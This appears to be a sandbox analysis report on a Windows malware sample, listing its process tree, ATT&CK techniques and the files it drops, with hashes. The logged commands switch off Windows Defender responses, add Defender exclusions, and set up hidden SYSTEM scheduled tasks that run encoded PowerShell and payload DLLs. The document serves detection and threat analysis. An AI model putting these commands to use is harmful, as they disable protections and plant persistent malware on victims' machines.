C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gIzeOJPZE" /SC once /ST 01:15:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gIzeOJPZE"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gIzeOJPZE"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 11:38:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\COawlBb.exe\" XT /Alsite_iduZA 385118 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BAnwxolbGpCzXNxkj"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k smphost1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\COawlBb.exeC:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\COawlBb.exe XT /Alsite_iduZA 385118 /S1⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bWycNackLSywaqkmgR"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\crKjuS.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\qBmHapn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "qbSDwEgyNYPZlGA"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\szVsifB.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\tGQAgve.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\Fsjebtp.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\UDjDeTD.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 06:56:00 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\qoxRxkbs\zwzoGPj.dll\",#1 /LEsite_idHjj 385118" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "QhciBzJOokLnyYZub"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"2⤵
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\qoxRxkbs\zwzoGPj.dll",#1 /LEsite_idHjj 3851181⤵
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\qoxRxkbs\zwzoGPj.dll",#1 /LEsite_idHjj 3851182⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "QhciBzJOokLnyYZub"3⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 6307E51B5E56DA49A5E1FE177CCB8C1D2⤵
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 483ACBCEAC3F9B319689EF926D4353DE E Global\MSI00002⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BDD6BFD7B7D1C19EBDEC28EE4211E273 M Global\MSI00002⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a92055 /state1:0x41c64e6d1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Modify Registry
2Impair Defenses
1Disable or Modify System Firewall
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Config.Msi\e5b7cb1.rbsFilesize
894KB
MD53f1445cd334a481f121747ac632a7a0c
SHA16fa852d01f6c2f8089b5886efa04ea5f809b1a1d
SHA256aaa306340bf61550afed77fead65b0da212c554cfd33b6bd667d7b0cc0f8cb33
SHA512c9c911eb9b6ba7231bf706ccc44ac96474194e80caf93bcadf7c36b24f059c515c92dbc3d0b44111b69c0013abdb6dc77e647333f8fad777072d7db69ea63fd8
-
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpiFilesize
2.0MB
MD5822c4f6806d42774442e36906b028892
SHA1ccef81d21aca46a963f725636e83f5511018979c
SHA256036aff66ac516fb102bf6e334817eb6af28f3411806d2324b93a0238527ada79
SHA512c5ce2e317c1952e7e0b2c1d9326ed0ac3fe4a76f33bde57ab7492085eb32a93eaf747cc6bdcc4c404484b0459fd49ffc833a2aad537dfadcd6f8f4e1f5feed58
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.jsonFilesize
187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.jsonFilesize
136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.jsonFilesize
150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
10KB
MD55f41489a291d6cd78ada563e93f490e5
SHA188e4d50abdfa8ff1bcdcfa4a4956a510f19dd8be
SHA2567e9ea0f6b50a52acabe7728ac2afa816831db013ac4fe5c7ca40c8abe5f3bf2a
SHA512f32ffb3b41080ee7f3344a0b52dabb59a008e0401c92a1b9ed3c0490d378d3c3934027a48e3fe4b9e6822aeb0e5fab01dbc46a07c45d3806e06cc74ef1e50f51
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesFilesize
26KB
MD58a97fa8294afa4b64ec7841cb72ff832
SHA19084612bd931f379f527d5f42eb3c921c91205a6
SHA256e044eec1df223b698014320a6486d01a72731452ef18cc5b44d1da6718cf258f
SHA5127a2c3c57c4e91cde1d235d496aa8be01b1ec3b96ea2f4e11e9513f0b849e38ffc9dff82c457e5dcbb014115047a2f733c52df91a6e4e9fc1e014d7f284e32937
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD5e8d18d7e22c42d18a1f6936abc4f1e60
SHA193c687f2262749d2d034ff2eca8bc5e16572e399
SHA25684f0c3dcb3e1e9e89709ccd9e2cea0650d853d5d614261efe86b936ce32ef89d
SHA512defd96160752db39593eefe1931555e77406ae7bb8d5d87d0355f59b9772763cc94534cbea9e9e2cb58a6632232980e0202651cc5d1e22d1276bc830734d4cc8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
40KB
MD517fd0e1abc1e727fd5bff10b61d8ee5a
SHA142295ea1f99b091d33f9a46dc3f28266b712293b
SHA2564d11d8b16a8bb9edca8a7e73c93b335c5d68182fc16fea58b1b1328963ca87ae
SHA512753676438773d906a81145a2f633b99d3a1cd7fae54160588d7c0bf36e9e2b5c40f53a55e6a7fbd43c1bd75948c9eebebfdd6e04e61df459a50dae03c3ea049a
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
19KB
MD586abe0d49776cac99c5941ca3795aa56
SHA1b45ab26962c14d20c7baa00b28d81eed6b2bf997
SHA256cc2823cd841e6357854144ab52ce60234094a90f701164b57a2938d493fd633c
SHA512b9add62eb44ff7b14d1dc19d4dd422dd022f57c46b97a295e30bb0a78a9f1905e333febb98061daec2f6ca17a50f18354a0f5a945debae22f64d883cc83b759a
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exeFilesize
2.5MB
MD515d8c8f36cef095a67d156969ecdb896
SHA1a1435deb5866cd341c09e56b65cdda33620fcc95
SHA2561521c69f478e9ced2f64b8714b9e19724e747cd8166e0f7ab5db1151a523dda8
SHA512d6f48180d4dcb5ba83a9c0166870ac00ea67b615e749edf5994bc50277bf97ca87f582ac6f374c5351df252db73ee1231c943b53432dbb7563e12bbaf5bb393a
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\assistant\assistant_installer.exeFilesize
1.9MB
MD5976bc8e5fe65f9bb56831e20f1747150
SHA1f9e7f5628aaaabed9939ef055540e24590a9ccfb
SHA256f53c916ccf3d24d6793227283de2db0f6cc98a2275413851807cc080643d21a0
SHA5122858e7e08418b170b21b599afb02236d0480d35a5605de142f10976489e01daf2ad80df0f09c2eb38bc5a971336d1f6aa9909c520bcdb18e9c9a8e903379dcd9
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182304461\opera_packageFilesize
103.8MB
MD55014156e9ffbb75d1a8d5fc09fabdc42
SHA16968d1b5cec3039e53bbbedeee22e2d43d94c771
SHA2567a01e11e1830ba3c154e5a6c383da15938b1e48f89a2fe4045cdd260924b6802
SHA512bfc5c44881d0fa7bcbccfd530d874fa624adec50e1a16063a72de12876d2db10ca5edd6fa841ea63e9deca3ff2adf54065f50719fe051d41de92bb68edba4016
-
C:\Users\Admin\AppData\Local\Temp\43c7232fFilesize
5.9MB
MD5dcc26dd014bad9eafa9066d3781b615d
SHA1b0cb8621ca58a196ac73bed4e525deacfaf2d836
SHA25669502ffc7e2b8946d420e682cd1421f58a17f489590f761c580ce2a4feb74ae3
SHA5125a7804fdebe09aada86e327899fa7ce6830c26c426d398dd72ef68121c33e59c2572709a725f43d6f1d31c52e7b4ea10b2128d00d530a00ef9db9a8efef204e3
-
C:\Users\Admin\AppData\Local\Temp\45d8f8b3Filesize
1.4MB
MD5f18abe3b42f4bfa604a34ab14c1a1656
SHA125cdad5636cdf60346d47d03909dc8dc6eca023a
SHA2561f21217ef59bbb61fb51b6987f4992daaa37d3b141ec5f54aa0fa37f6db24681
SHA512bce496fbc8ede8d7ebfcc74d5acbdaa3b1c4af2f9341d6b660cc0b0702932b3051ad5ea5cbeb1834173450497185a52f3f1f136b172e5ebe9394c013fabedf63
-
C:\Users\Admin\AppData\Local\Temp\7zSEA7F.tmp\Install.exeFilesize
6.8MB
MD5e77964e011d8880eae95422769249ca4
SHA18e15d7c4b7812a1da6c91738c7178adf0ff3200f
SHA256f200984380d291051fc4b342641cd34e7560cadf4af41b2e02b8778f14418f50
SHA5128feb3dc4432ec0a87416cbc75110d59efaf6504b4de43090fc90286bd37f98fc0a5fb12878bb33ac2f6cd83252e8dfd67dd96871b4a224199c1f595d33d4cade
-
C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exeFilesize
14.7MB
MD56955715b6ff15bdc153a2431cc395cca
